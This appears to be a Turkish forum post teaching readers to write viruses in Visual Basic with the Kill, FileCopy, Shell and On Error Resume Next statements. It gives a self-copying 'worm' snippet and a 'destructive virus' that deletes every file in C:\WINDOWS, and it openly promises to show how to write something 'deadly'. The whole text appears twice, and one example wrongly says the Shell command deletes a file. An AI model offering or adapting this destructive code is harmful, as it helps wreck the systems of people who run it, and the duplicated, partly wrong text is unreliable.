Arkadaşlar virüs ne türlü olursa olsun virüs virüstür.Visual Basic de bize lazım olacak kodlar şunlar(virüs için);
Kill:Bu kod belirttiğimiz bir dosyayı silmemize yarıyor.Ama sadece bir dosya değil isterseniz toplu halde de dosya silebilirsiniz.Örnek Kullanım:
Kill "C:\\dosya.exe" C deki dosya .exe yi siler
FileCopy:Bu kod özellikte solucan yazanlar için önemli.Çünkü solucanın kendini kopyalaması için bu kod gerekir.Örnek Kullanım:
FileCopy "C:dosya.exe", "D:\\dosya.exe" C deki dosya.exe yi D ye aynı biçimde kaydeder
Shell:Bu ise istediğimiz bir dosyayı açmamızı sağlar.Örnek Kullanım:
Shell "C:\\virüs.exe" C deki virüs.exe yi siler
on error resume next:Visual Basic de Programı yazdığımız zaman,program yazdığımız kodları sırasıyla çalıştırır.Eğer kodların birinde bir hata varsa geri kalan kodlar açılmaz işte bu kod bu işe yarıyor.Biz kodda hata yapsak bile sadece onu yok sayıyor sıradaki kodlara geçiyor.Yine virüsümüzde çokca kullanacağımız bir kod.
İşin mantığını öğrendik.Şimdi ben size bu 4 kod ile nasıl ölümcül birşey yazabileceğinizi gösterecem.Hem solucan olarak hede çökertici olarak
Solucan kodu:
Private Sub Form_Load()
On Error Resume Next
FileCopy "C:\\Decument and Settings\\user\\Desktop\\virüs.exe", "D:\\system.exe"
On Error Resume Next
End Sub
Bu kod küçün bir işin mantığını çözmeniz için hazırlanmış bir döküm Masaüstündeki virüsü(yani kendisini) D sürücüsüne kopyalıyor
Şimdi ise yıkıcı bir virüs kodu:
Private Sub Form_Load()
On Error Resume Next
Kill "C:\\WINDOWS\\*.*"
End Sub
D:
Biraz Abartılı ama olsun Windows’un içindeki bütün herşeyi siliyor buradaki virüs
Kill:Bu kod belirttiğimiz bir dosyayı silmemize yarıyor.Ama sadece bir dosya değil isterseniz toplu halde de dosya silebilirsiniz.Örnek Kullanım:
Kill "C:\\dosya.exe" C deki dosya .exe yi siler
FileCopy:Bu kod özellikte solucan yazanlar için önemli.Çünkü solucanın kendini kopyalaması için bu kod gerekir.Örnek Kullanım:
FileCopy "C:dosya.exe", "D:\\dosya.exe" C deki dosya.exe yi D ye aynı biçimde kaydeder
Shell:Bu ise istediğimiz bir dosyayı açmamızı sağlar.Örnek Kullanım:
Shell "C:\\virüs.exe" C deki virüs.exe yi siler
on error resume next:Visual Basic de Programı yazdığımız zaman,program yazdığımız kodları sırasıyla çalıştırır.Eğer kodların birinde bir hata varsa geri kalan kodlar açılmaz işte bu kod bu işe yarıyor.Biz kodda hata yapsak bile sadece onu yok sayıyor sıradaki kodlara geçiyor.Yine virüsümüzde çokca kullanacağımız bir kod.
İşin mantığını öğrendik.Şimdi ben size bu 4 kod ile nasıl ölümcül birşey yazabileceğinizi gösterecem.Hem solucan olarak hede çökertici olarak
Solucan kodu:
Private Sub Form_Load()
On Error Resume Next
FileCopy "C:\\Decument and Settings\\user\\Desktop\\virüs.exe", "D:\\system.exe"
On Error Resume Next
End Sub
Bu kod küçün bir işin mantığını çözmeniz için hazırlanmış bir döküm
Masaüstündeki virüsü(yani kendisini) D sürücüsüne kopyalıyorŞimdi ise yıkıcı bir virüs kodu:
Private Sub Form_Load()
On Error Resume Next
Kill "C:\\WINDOWS\\*.*"
End Sub
D:
Biraz Abartılı ama olsun Windows’un içindeki bütün herşeyi siliyor buradaki virüs